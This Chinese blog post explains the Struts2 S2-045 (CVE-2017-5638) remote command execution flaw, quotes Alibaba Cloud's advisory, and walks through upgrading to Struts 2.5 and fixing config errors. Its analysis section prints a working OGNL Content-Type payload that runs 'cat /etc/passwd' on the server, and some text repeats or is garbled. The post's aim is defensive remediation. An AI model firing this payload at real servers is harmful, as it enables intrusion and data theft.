Struts2 最新高危漏洞详解

由于计算机起源于美国,因此很多新兴技术和框架也都出于美国的一些大公司。虽然国内的BAT也在开源技术上有一些贡献,但目前来说还是比较缺少用户来支持。这也就导致了国内大部分互联网公司大量的依赖国外的技术。如果某些开源框架出了高危漏洞,就将影响一大批中国互联网公司。

最近 Struts2 又爆出了一个高危漏洞,据说影响了大半个中国互联网。涵盖金融、教育、医疗、电商等各个行业。哪么这个高危漏洞到底是怎样形成的呢?本文将为你详细讲解!
Struts2 漏洞概要

2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

漏洞分析请移步:阿里云帮助云上用户应对Struts2高危漏洞
漏洞解决方案

如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本(哔了狗了狗了,公司还在用struts2)。

由于目前使用版本是struts2-core-2.3.28,于是赶紧升了下级别,略过2.3 直接升级到2.5版本。
升级说明
找不到类
java.lang.ClassNotFoundException: org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

查看了一下源码,2.5版本已变更了包路径。

struts2
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter

配置好了居然找不到Action

什么情况?是不是有点怀疑人生了,赶紧去http://struts.apache.org/ struts2的官网扒拉扒拉。

由于版本跨度大,2.5版本升级了很多特性,在Struts 2.5中,严格DMI被扩展,它被称为严格方法调用 又名SMI。你可以想象DMI是一个“边境警察”,SMI是一个“税务警察”,并注意内部。使用此版本,SMI默认情况下启用(strict-method-invocation属性默认设置为 true在 struts-default包中),您可以选择禁用它每个包 - 没有全局开关禁用整个应用程序的SMI。

SMI的工作原理如下:
/ @AllowedMethods 被定义每个动作 - SMI工作,而不打开它,但只是那些动作(加上)
SMI已启用,但没有 / @AllowedMethods 被定义 - SMI工作,但只有
SMI已禁用 - 允许调用任何与默认RegEx匹配的操作方法 - ([A-Za-z0-9_KaTeX parse error: Expected group after '_' at position 252: …form([A-Za-z0-9_̲]*)".
启用SMI - 不会发生通配符替换,必须严格定义通过注释或标记可以访问哪些方法。

也就是说你必须加入这个配置才可以,最好全局设置:
regex:.*
package中元素顺序的问题
元素类型为 “package” 的内容必须匹配 "(result-types?,interceptors?,default-interceptor-ref?,default-action-ref?

出现此报错,你就要注意了,一定要检查package中 global-allowed-methods 的位置,然后按照报错指定顺序放置配置。
其他问题

如果你的项目中使用的是log4j而不是log4j2,那么问题就来了,你还需要加入log4j-api-2.7.jar 和log4j-core-2.7.jar,并且配置 log4j2.xml(暂且是个空的)。

<?xml version="1.0" encoding="UTF-8"?>

否则会一直报以下错误,至于为什么,还没深入了解。

ERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console.

阿里云:

2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html
联动响应 零安全事件

在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。

通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。
漏洞分析
0x00 漏洞公告

根据官方的漏洞公告

https://cwiki.apache.org/confluence/display/WW/S2-045

可以看出漏洞的主要原因是出现在Content-Type


It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.


通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。

Struts2在对于异常的处理时出现了问题。
0x01 影响范围

受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
0x02 漏洞危害

    测试环境:tomcat7,Struts2.3.16
    测试过程:在上传页面拦截请求的数据包

0a671ae6a8898df47a67c7dd30f3da68cb892471

在http header里增加一个Content-Type的key,value就是我们的poc


%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat  /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


0a671ae6a8898df47a67c7dd30f3da68cb892471

全球攻击分布态势

277ac59cb2aa8a7c517f960edfc844a758ee09fc
修复建议

    对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
    使用其它方式实现文件上传的Multipart解析器。
    使用第三方的防护设备进行防护。
    删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
    阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍。

 


前情概要

漏洞年年有,最近特别多。2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

漏洞分析请移步:https://yq.aliyun.com/articles/72008
建议

如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本(毕了狗了,公司还在用struts2)。

由于目前使用版本是struts2-core-2.3.28,于是赶紧升了下级别,略过2.3 直接升级到2.5版本。
升级说明

一、找不到类

java.lang.ClassNotFoundException: org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

找不到那得多正常,查看了一下源码,2.5版本已变更了包路径。

     <filter>
          <filter-name>struts2</filter-name>
          <filter-class>    org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
          </filter-class>
      </filter>

二、配置好了居然找不到Action

是不是有点怀疑人生了,赶紧去http://struts.apache.org/ struts2的官网扒拉扒拉。

由于版本跨度大,2.5版本升级了很多特性,在Struts 2.5中,严格DMI被扩展,它被称为严格方法调用 又名SMI。你可以想象DMI是一个“边境警察”,SMI是一个“税务警察”,并注意内部。使用此版本,SMI默认情况下启用(strict-method-invocation属性默认设置为 true在 struts-default包中),您可以选择禁用它每个包 - 没有全局开关禁用整个应用程序的SMI。

    SMI的工作原理如下:
     
    <allowed-methods> / @AllowedMethods 被定义每个动作 - SMI工作,而不打开它,但只是那些动作(加上<global-allowed-methods/>)
    SMI已启用,但没有<allowed-methods> / @AllowedMethods 被定义 - SMI工作,但只有<global-allowed-methods/>
    SMI已禁用 - 允许调用任何与默认RegEx匹配的操作方法 - ([A-Za-z0-9_$]*)
    您可以使用常量重新定义默认RegEx,如下所示 <constant name="struts.strictMethodInvocation.methodRegex" value="([a-zA-Z]*)"/>
     
    在操作定义中使用通配符映射时,SMI有两种方式:
     
    SMI被禁用 - 任何通配符将被替换为默认的RegEx,即:<action name="Person*" method="perform*">将被翻译成allowedMethod = "regex:perform([A-Za-z0-9_$]*)".
    启用S​​MI - 不会发生通配符替换,必须严格定义通过注释或<allowed-method/>标记可以访问哪些方法。

也就是说你必须加入这个配置才可以,最好全局设置:

<global-allowed-methods>regex:.*</global-allowed-methods>

三、package中元素顺序的问题

元素类型为 "package" 的内容必须匹配 "(result-types?,interceptors?,default-interceptor-ref?,default-action-ref?

出现此报错,你就要注意了,一定要检查package中 global-allowed-methods 的位置,然后按照报错指定顺序放置配置。

四、可能会出现的问题

如果你的项目中使用的是log4j而不是log4j2,那么问题就来了,你还需要加入log4j-api-2.7.jar 和log4j-core-2.7.jar,并且配置 log4j2.xml(暂且是个空的)。

    <?xml version="1.0" encoding="UTF-8"?>   
    <configuration status="error">   
      <appenders>   
      </appenders>   
      <loggers>   
        <root level="info">   
        </root>   
      </loggers>   
    </configuration>

否则会一直报以下错误,至于为什么,还没深入了解。

ERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console.

好了,如果启动没有其他问题,应该就可以访问到久违的Action了。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Struts2漏洞检查工具2019 警告: 本工具漏洞自查工具,请勿非法攻击他人网站! ==漏洞编号==============影响本=========================官方公告==========================================影响范围===== S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16 https://cwiki.apache.org/confluence/display/WW/S2-057 影响范围非常小 S2-048 CVE-2017-9791 Struts 2.3.X http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action 影响范围非常小 S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-046.html 和S2-045一样 S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影响范围较大 S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影响范围小 S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影响范围小 S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影响范围小 S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影响范围一般 S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影响范围非常大 S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未添加,S2-016范围内 S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未添加,S2-016范围内 S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加,S2-016范围内
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值